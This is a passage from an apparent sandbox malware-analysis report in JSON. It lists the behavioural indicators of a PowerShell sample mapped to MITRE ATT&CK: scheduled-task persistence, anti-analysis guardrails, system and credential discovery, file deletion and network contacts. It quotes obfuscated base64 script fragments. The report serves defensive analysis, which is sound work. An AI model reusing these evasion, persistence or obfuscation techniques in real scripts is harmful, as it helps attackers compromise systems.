Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries COM task scheduler class object","description":"$41","origin":"Registry Access","mitre_attack_id":"T1053","relevance":3,"id":"registry-141","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"powershell.exe\" queries basic process information of the \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 6920)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$42","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$43","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Installation/Persistence","name":"References task scheduler-related strings","description":"file/memory contains long string with (Indicator: \"Schedule.Service\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"RegisterTask\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"RegisterTaskDefinition\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1053","relevance":1,"id":"string-401","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution (Powershell command string)\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\ATL.DLL\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\atl.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\MSCOREE.DLL\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\mscoree.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\ole32.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\oleaut32.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FLTLIB.DLL\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$44","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access LNK files (Windows shortcut)","description":"\"powershell.exe\" trying to access LNK file \"C:\\%AppData%\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk\"\n \"powershell.exe\" trying to access LNK file \"C:\\Windows\\%APPDATA%\\MICROSOFT\\WINDOWS\\START MENU\\PROGRAMS\\WINDOWS POWERSHELL\\WINDOWS POWERSHELL.LNK\"\n \"powershell.exe\" trying to access LNK file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk\"\n \"powershell.exe\" trying to access LNK file \"%WINDIR%\\%APPDATA%\\MICROSOFT\\WINDOWS\\START MENU\\PROGRAMS\\WINDOWS POWERSHELL\\WINDOWS POWERSHELL.LNK\"\n \"powershell.exe\" trying to access LNK file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-203","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$45","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$46","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"$47","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00006920-00000C2C-2327627837\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00006920-00000C2C-2327626595\")\n Found reference to API \"WinHttpOpen\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00006920-00000C2C-2327812020\")\n Found reference to API \"WinHttpOpenW\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00006920-00000C2C-2327812050\")\n Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00006920-00000C2C-2327922998\")\n Found reference to API \"WSARecv\" (Indicator: \"WSARecv\"; Source: \"00000000-00006920-00000C2C-2327923252\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Network Related","name":"Contains ability to get content from a webpage (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Invoke-WebRequest\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-282","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"wsastartup\"; Source: \"00000000-00006920-00000C2C-2327626595\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"2.5.29.37\"\n \"2.5.29.35\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"security.microsoft.com/incidents\"\n Pattern match: \"autologon.microsoftazuread-sso.com/winauth/sso\"\n Pattern match: \"login.windows.net/common/oauth2/authorize\"\n Pattern match: \"www.gravatar.com\"\n Pattern match: \"www.gravatar.comconnection\"\n Heuristic match: \"en.gravatar.com\"\n Heuristic match: \"gravatar.com\"\n Pattern match: \"https://www.$randomdomain.comreturn\"\n Pattern match: \"http://schemas.microsoft.com/windows/2004/02/mit/task\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Network Related","name":"Recently renewed or created SSL certificate","description":"Newly renewed or created SSL certificate: \"en.gravatar.com\" (14 days old)\n Newly renewed or created SSL certificate: \"gravatar.com\" (14 days old)\n Newly renewed or created SSL certificate: \"www.gravatar.com\" (14 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-4","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS HEAD request to https://www.gravatar.com/\n Found HTTPS HEAD request to https://en.gravatar.com/\n Found HTTPS HEAD request to https://gravatar.com/","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"en.gravatar.com\" (89 days old)\n Short term registered certificate: \"gravatar.com\" (89 days old)\n Short term registered certificate: \"www.gravatar.com\" (89 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Network Related","name":"User Agent string indicates scripted web access","description":"Found scripted User Agent mozilla/5.0 (windows nt; windows nt 10.0; en-us) windowspowershell/5.1.16299.248","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-103","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"192.0.73.2\" on port \"443\"\n HTTPS traffic to \"192.0.80.242\" on port \"443\"\n HTTPS traffic to \"192.0.80.240\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve event logs (PowerShell command string)","description":"file/memory contains long string with (Indicator: \"Get-EventLog\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1654","relevance":1,"id":"string-300","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$48","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00006920)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00006920)","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00006920)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00006920)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user names for specified SIDs","description":"\"powershell.exe\" called \"LsaLookupSids\" with parameters {\"PolicyHandle\": \"1af25b7ee10\"\n \"Count\": \"1\"}\n \"powershell.exe\" called \"LsaLookupSids\" with parameters {\"PolicyHandle\": \"1af25bb58a0\"\n \"Count\": \"1\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":1,"id":"api-255","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"file/memory contains long string with (Indicator: \"base64\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")\n file/memory contains long string with (Indicator: \"FromBase64String\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")\n Found string \"$literal = $goal.GetString([System.Convert]::FromBase64String($ddf))\" (Indicator: \"base64\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")\n Found string \"$literal = $goal.GetString([System.Convert]::FromBase64String($ddf))\" (Indicator: \"FromBase64String\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")\n file/memory contains long string with (Indicator: \"base64\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"FromBase64String\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"System.Security.Cryptography\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate objects (Powershell command string)","description":"$49","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-374","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve processes (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-Process\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-291","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"$4a","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-394","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"file/memory contains long string with (Indicator: \" Win32_UserAccount\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")\n Found string \"${Set-ItemProperty -CaseSensitive -ClassName Win32_UserAccount && ($koefr)} = \"IFBy\";${Get-Date -InputFormat -LogName Security && ($bhhd)} = \"b2Nlc3Nvc\";${Get-TransportRule -Unique -ComputerName SRV-WEB-00 && ($frcd)} = \"iBUaW1\";\" (Indicator: \" Win32_UserAccount\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"System Destruction","name":"Marks file for deletion","description":"\"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF329a97.TMP\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_0rlulhno.vo4.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_aikvqwx4.xgw.psm1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\schevnt.xml\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\MV5MLXW4KPVGCHZRESYM.temp\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF329a97.TMP\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_0rlulhno.vo4.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_aikvqwx4.xgw.psm1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\schevnt.xml\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00006920)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"System Security","name":"Contains ability to create/modify item values (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-ItemProperty\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")\n Found string \"${Set-ItemProperty -CaseSensitive -ClassName Win32_UserAccount && ($koefr)} = \"IFBy\";${Get-Date -InputFormat -LogName Security && ($bhhd)} = \"b2Nlc3Nvc\";${Get-TransportRule -Unique -ComputerName SRV-WEB-00 && ($frcd)} = \"iBUaW1\";\" (Indicator: \"Set-ItemProperty\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-367","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify volumes (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Optimize-Volume\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")\n Found string \"${Optimize-Volume -Filter * -InformationLevel Minimal && ($nea)} = \"JGVu\";${Out-String -Property * -TaskPath \\Microsoft\\Windows\\ && ($efm)} = \"ZCA9\";\" (Indicator: \"Optimize-Volume\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")","origin":"File/Memory","mitre_attack_id":"T1006","relevance":1,"id":"string-388","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"System Security","name":"Contains ability to retrieve credential objects (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-Credential\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")\n Found string \"${Get-Credential -WarningVariable warnLog -MaxEvents 173 && ($gfpc)} = 129\" (Indicator: \"Get-Credential\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")","origin":"File/Memory","mitre_attack_id":"T1003","relevance":1,"id":"string-340","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"System Security","name":"Contains reference to authentication certificates (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Export-Certificate\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")\n file/memory contains long string with (Indicator: \"Get-PfxCertificate\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")\n Found string \"${Export-Certificate -Debug -TaskPath \\Monitoring\\ && ($naniba)} = \"ygzKQoKd2hpbG\";\" (Indicator: \"Export-Certificate\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")\n Found string \"${Select-Object -Debug -DestinationPath .\\Export && ($oaei)} = \"9va2VkVmFsdWU\";${ConvertTo-Csv -Verbose -DestinationPath .\\Export && ($saiho)} = \"KICAgIFdyaXRlLU\";${Get-PfxCertificate -OutputFormat -Identity $adUser09 && ($ptlrr)} = \"hvc3\";\" (Indicator: \"Get-PfxCertificate\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")","origin":"File/Memory","mitre_attack_id":"T1649","relevance":1,"id":"string-391","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"System Security","name":"Modifies Software Policy Settings","description":"$4b","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"powershell.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$4c","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$4d","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to redirect output to specified device/utility (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Out-String\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")\n Found string \"${Optimize-Volume -Filter * -InformationLevel Minimal && ($nea)} = \"JGVu\";${Out-String -Property * -TaskPath \\Microsoft\\Windows\\ && ($efm)} = \"ZCA9\";\" (Indicator: \"Out-String\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")\n file/memory contains long string with (Indicator: \"Out-File\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"Out-Null\"; File: \"AMSI\")","origin":"File/Memory","relevance":1,"id":"string-373","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"MV5MLXW4KPVGCHZRESYM.temp\" - Location: [%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\MV5MLXW4KPVGCHZRESYM.temp]- [targetUID: 00000000-00006920]\n Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00006920]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"2/27 Antivirus vendors marked sample as malicious (7% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Found an indicator for a scheduled task trigger","description":"file/memory contains long string with (Indicator: \"LogonTrigger\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1053","relevance":7,"id":"string-32","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"powershell.exe\" wrote 00000FB8 bytes to a remote process \"C:\\Windows\\System32\\schtasks.exe\" (Handle: 3180)\n \"powershell.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\schtasks.exe\" (Handle: 3180)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"suspicious","category":"Network Related","name":"Employs a browser-related User Agent without launching browser","description":"Found User Agent(s): Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 192.0.73.2 on port 443 is sent without HTTP header\n TCP traffic to 192.0.80.242 on port 443 is sent without HTTP header\n TCP traffic to 192.0.80.240 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"suspicious","category":"System Destruction","name":"Able to manipulate or erase email repository contents (PowerShell command string)","description":"file/memory contains long string with 